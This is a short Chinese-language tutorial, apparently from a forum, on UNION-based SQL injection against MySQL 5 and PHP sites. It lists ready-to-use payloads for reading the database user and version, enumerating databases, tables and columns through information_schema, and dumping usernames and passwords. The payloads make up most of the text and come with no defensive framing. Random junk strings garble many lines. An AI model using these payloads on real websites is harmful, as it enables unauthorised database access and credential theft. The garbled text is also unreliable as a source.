! d3 ~% }) W4 t% `6 D4 D
教程内容:Mysql 5+php 注入
! U* C6 @! i* ~) C' ^. G4 H/ {9 J* _2 L* K0 ^9 }
) l# {" f1 G4 Q9 j9 L* Y! Y Y9 w- P; A$ m- \0 Z% j5 w- c. F
一.查看MYSQL基本信息(库名,版本,用户)
5 w. I# B$ S+ O0 u* i5 a7 M4 J1 b: @* B+ m9 s4 z
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*. \1 v+ p, |; w) O* q0 J- q: ]. D* e
* {; C9 i5 N, S二.查数据库* i# N: k4 ]' ]8 V
& C. U- R0 M( p8 Dand 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*
9 f8 I, L/ b6 e+ S$ e0 `; Klimit 从0开始递增,查询到3时浏览器返回错误,说明存在2个库。+ z9 V$ J0 J, x8 C M
8 l. @6 W/ P( N$ Z三.暴表
! |- L% ~$ G1 _9 X) Z8 u, a# c/ P8 C# l2 H
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*. d+ e6 M9 F9 O: R
# X. d/ N: ^/ S' J/ t J* s/ nlimit 从0开始递增,查询到14时浏览器返回错误,说明此库存在13个表。: O) s. M6 ~& ?( X% @/ I! {
! ^+ d' G' E3 F5 k( _' G/ c$ m9 J
四.暴字段2 J( j- X |- X3 T$ X6 e7 ?) v
9 b( X) D1 T8 _1 k D- c8 y
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*0 V8 ~- y) i, s/ Z9 w
+ C O l5 f+ e( {0 flimit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。# Q! M, e n" ?! o, r, p
, v; I8 P- I" Z5 b c" T; w
五.暴数据/ x8 s# ^. Z( }: a
2 n' a# F1 m1 ^- S' G- pand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
8 E3 m Y6 Q. I/ h+ g3 i1 N5 n& }6 S0 t
! F! S# F1 L. W" [这里直接暴明文的密码,大多时候我们遇到的是MD5加密之后的密文。8 T: F2 q( ^2 A& Q* M, t- t
|